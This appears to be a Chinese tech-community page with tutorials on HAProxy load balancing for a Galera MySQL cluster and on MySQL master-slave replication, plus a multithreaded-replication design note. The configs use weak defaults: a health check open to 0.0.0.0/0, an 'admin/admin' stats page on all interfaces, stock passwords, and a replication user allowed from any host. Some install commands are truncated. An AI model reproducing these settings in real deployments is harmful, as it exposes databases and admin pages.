    $ git clone https://github.com/olafz/percona-clustercheck
    $ cp percona-clustercheck/clustercheck /usr/local/bin

     2、 clustercheck脚本执行通过监控MySQL的几个变量/状态 Galera节点上定期检查。 它会产生一个相应的HTTP返回代码一个简单的HTML输出(无论是503 - 服务不可用或200 - OK)。 为了让事情更容易为HAProxy的触发脚本,并获得后端的最新状态,我们必须让它侦听的端口。 我们可以使用xinetd打开脚本到一个服务进程,并使其听一个自定义的端口,在这种情况下,我将使用9200。
     
    创建一个名为/etc/xinet.d/mysqlchk的新文件,并添加以下几行:
    # default: on
    # description: mysqlchk
    service mysqlchk
    {
    disable = no
    flags = REUSE
    socket_type = stream
    port = 9200
    wait = no
    user = nobody
    server = /usr/local/bin/clustercheck
    log_on_failure += USERID
    only_from = 0.0.0.0/0
    per_source = UNLIMITED
    }

    3、添加Mysqlchk服务到xinetd
    echo 'mysqlchk      9200/tcp    # MySQL check' >> /etc/services

    4、默认情况下,该脚本将使用MySQL用户名为“clustercheckuser”,密码为“clustercheckpassword!”。 我们需要确保这个MySQL用户与对应的密码存在的脚本将能够执行健康检查之前。 运行下面的DB节点之一(Galera应该复制该语句到其他节点)DDL语句:
    mysql> GRANT PROCESS ON [i].[/i] TO 'clustercheckuser'@'localhost' IDENTIFIED BY 'clustercheckpassword!';
    mysql> FLUSH PRIVILEGES;
    你可以改变clustercheck script的32,33行,这篇文章我们使用默认用户名和密码。
     
    5、验证脚本返回一个正确的值
    $ /usr/local/bin/clustercheck > /dev/null
    $ echo $?
    0
    如果DB节点在已同步,你应该得到0,否则1应该是输出。 后端健康检查配置。
     
    安装Haproxy
    1、最简单的安装方法就是使用(yum/apt)包管理器,然而,强烈建议使用上HAProxy的网站提供的最新版本。无论哪种方式,我下面都会介绍到。
     
    A)如果您选择通过软件包管理器安装HAProxy的:
    $ yum install haproxy # Redhat/CentOS
    $ sudo apt-get install haproxy # Debian/Ubuntu

    B)通过Haproxy官网下载源码
    $ yum install php-curl gcc make # Redhat/CentOS
    $ apt-get install php5-curl gcc make # Debian/Ubuntu
    $ wget http://www.haproxy.org/download/1.5/src/
    $ tar xvzfz
    $ cd
    $ make TARGET=linux26
    $ cp -f haproxy /usr/sbin/haproxy
    从源代码(选项B)安装带有没有初始化脚本。所以你需要手动的通过命令行启动。
     
    配置HAproxy
    现在,我们已经安装了HAProxy的。 我们需要将其配置为在端口3307监听MySQL服务,并执行后端健康检查。 在/etc/haproxy/haproxy.cfg,确保以下行存在:
    global
    pidfile /var/run/haproxy.pid
    daemon
    user haproxy
    group haproxy
    stats socket /var/run/haproxy.socket user haproxy group haproxy mode 600 level admin

    maxconn 8192
    spread-checks 3
    quiet
    defaults
    mode tcp
    option dontlognull
    option tcp-smart-accept
    option tcp-smart-connect
    retries 3
    option redispatch
    maxconn 8192
    timeout check 3500ms
    timeout queue 3500ms
    timeout connect 3500ms
    timeout client 10800s
    timeout server 10800s

    userlist STATSUSERS
    group admin users admin
    user admin insecure-password admin
    user stats insecure-password yourpassword

    listen admin_page 0.0.0.0:9600
    mode http
    stats enable
    stats refresh 60s
    stats uri /
    acl AuthOkay_ReadOnly http_auth(STATSUSERS)
    acl AuthOkay_Admin http_auth_group(STATSUSERS) admin
    stats http-request auth realm admin_page unless AuthOkay_ReadOnly

    listen mysql_3307
    bind *:3307
    mode tcp
    timeout client 10800s
    timeout server 10800s
    balance leastconn
    option httpchk
    option allbackups
    default-server port 9200 inter 2s downinter 5s rise 3 fall 2 slowstart 60s maxconn 64 maxqueue 128 weight 100
    server db1 10.0.0.187:3306 check
    server db2 10.0.0.188:3306 check
    server db3 10.0.0.189:3306 check
    现在开机启用该服务,让其工作。
     
    RHEL/CentOS 6:
    $ chkconfig haproxy on # RHEL6
    $ service haproxy start # RHEL6

    Ubuntu 14.04 and lower, Debian 7 and lower:
    $ update-rc.d haproxy defaults
    $ sudo service haproxy start

    RHEL/CentOS 7, Debian 8, Ubuntu 15.04:
    $ systemctl enable haproxy
    $ systemctl start haproxy

     
    验证Haproxy端口监听是否正常:
    sudo netstat -tulpn | grep haproxy
    tcp 0 0 0.0.0.0:9600 0.0.0.0:* LISTEN 370/haproxy
    tcp 0 0 0.0.0.0:3307 0.0.0.0:* LISTEN 370/haproxy

     3307是MySQL的负载平衡端口,而9600是HAProxy的统计页面。 您可以登录访问http检查状态:// haproxy_ip_address:9600 /,以用户名“管理员”和密码登录“你的密码”作为配置的内部haproxy.cfg。 你应该看到类似下面的内容:
    haproxyStatus.png

    现在你可以把你的应用程序或者Mysql的客户端执行harproxy代理的3307端口,用于Mysql的负载均衡和故障自动转移。 收起阅读 »

    设置MySQL复制最好的方式

    如上图案例,在Centos5 版本的系统的2台服务器上安装了Mysql5。假设服务器Server1是Mysql Master节点并且有一个叫db1的数据库,服务器Server2是Mysql Slave节点,并且什么数据库都没有。   在这个实例使用的...
    继续阅读 »
    mysql_replicate.jpg

    如上图案例,在Centos5 版本的系统的2台服务器上安装了Mysql5。假设服务器Server1是Mysql Master节点并且有一个叫db1的数据库,服务器Server2是Mysql Slave节点,并且什么数据库都没有。
     
    在这个实例使用的变量如下:


    Server1 IP=192.168.1.1
    Server2 IP=192.168.1.2
    Database name=db1
    Replication user=replicator
    Replication user password=slavepass


    首先我们配置服务器Server1,登录服务器并进行如下操作。
     
    1、登录服务器Server1,编辑Mysql配置文件/etc/my.cnf,在[mysqld]下面添加如下配置:
    [mysqld]
    server-id=100
    log-bin=master-bin
    2、重启Mysql服务
    service mysqld restart
    3、创建用于Mysql Slave服务器连接Mysql Master复制用户
    mysql> GRANT REPLICATION SLAVE on [i].[/i] to 'replicator'@'%' IDENTIFIED BY 'slavepass';
    4、备份数据库,提供给Slave Server使用
    mysqldump -u[root] -p[password] --master-data --single-transaction db1 > db1.sql
    5、把备份出来的数据库文件通过网络或者移动存储设备传输到Slave Server。
     
    接下来配置服务器Server2,确保Master Mysql备份数据库文件已经放置到Server2服务器上,我们把它放到/root目录下。
     
    1、登录服务器Server2,编辑Mysql配置文件/etc/my.cnf,在[mysqld]下面添加如下配置:
    [mysqld]
    server-id=101
    replicate-wild-do-table=db1.%
    2、重启Mysql服务器
    service mysqld restart
    3、导入备份的数据库文件,并且开启Slave服务器复制进程
    mysql> CREATE DATABASE db1;
    mysql> USE db1;
    mysql> SOURCE /root/db1.sql;
    mysql> CHANGE MASTER TO MASTER_HOST='192.168.1.1', MASTER_PORT=3306, MASTER_USER='replicator', MASTER_PASSWORD='slavepass';
    mysql> START SLAVE;
    4、检查Slave正常工作已否
    mysql> SHOW SLAVE STATUS\G
    确保你看到如下内容就好
    ***********************[i][b][/i] 1. row [/b]*************************
    Slave_IO_Running: Yes
    Slave_SQL_Running: Yes
    以上案例适合最初创建Mysql集群,如果有多个数据库,则需要从主库导入多个数据库数据到Slave服务器,然后开始做复制操作。
     
    翻译原文:http://blog.secaserver.com/2011/06/the-best-way-to-setup-mysq-replication/  收起阅读 »

    Mysql多线程复制方案

    背景     Mysql的复制方案为一个进程负责读取复制数据,另一个进程负责执行sql,这种方案很好的保护了数据的安全和准确性,但效率偏低。当主机的操作量比较大的时候,会引起数据复制延迟。已经严重的影响了应用。   方案 利用mysql的复制协议,采用锁表方式...
    继续阅读 »
    背景    
    Mysql的复制方案为一个进程负责读取复制数据,另一个进程负责执行sql,这种方案很好的保护了数据的安全和准确性,但效率偏低。当主机的操作量比较大的时候,会引起数据复制延迟。已经严重的影响了应用。
     
    方案
    利用mysql的复制协议,采用锁表方式,来进行多线程复制。以下为方案的详细信息。
    数据流程图:
    mysqldxc.png

    流程图说明:
      []利用mysql复制协议,从主机获得复制数据。[/][]复制进程负责按事物写进共享内存。[/][]管理进程负责根据sql语句,解析出数据库和表名,回写共享内存。并按事物派生一个执行线程。[/][]执行线程在执行sql语句前,搜索当前共享内存中之前的语句是否有同库同表的语句,有就等待,没有就执行。[/]

     
    可行性分析:
    该方案可以简单的理解为对mysql的操作锁到表这一级,会带来一定的管理成本。
     
    目前完成已经完成了DEMO程序。下面是从DEMO采集的一些数据
              1、管理成本平均为一条sql语句1/5000秒,一条sql语句平均为1/100秒左右,管理成本占比2%
              2、在执行一段sql语句,但进程方式执行时间为2分20秒左右,多线程方式为1分10秒左右。
              3、从磁盘io情况看,单进程为20M/秒左右,多线程为60M/秒左右。
              4、锁等待概率为2%左右。
     
    难点和可能存在的问题
      []数据的准确性,需要长期的运行观察,通过对帐来检查。[/][]数据的安全性,在发生灾难的时候,如何确保数据操作信息被正确保存并且在灾难消除后可以快速继续复制。[/][]易用性,需要提供和mysql复制功能的同样的操作。[/]

     
    结论
    从以上数据和分析,可以看出该方案可行。 收起阅读 »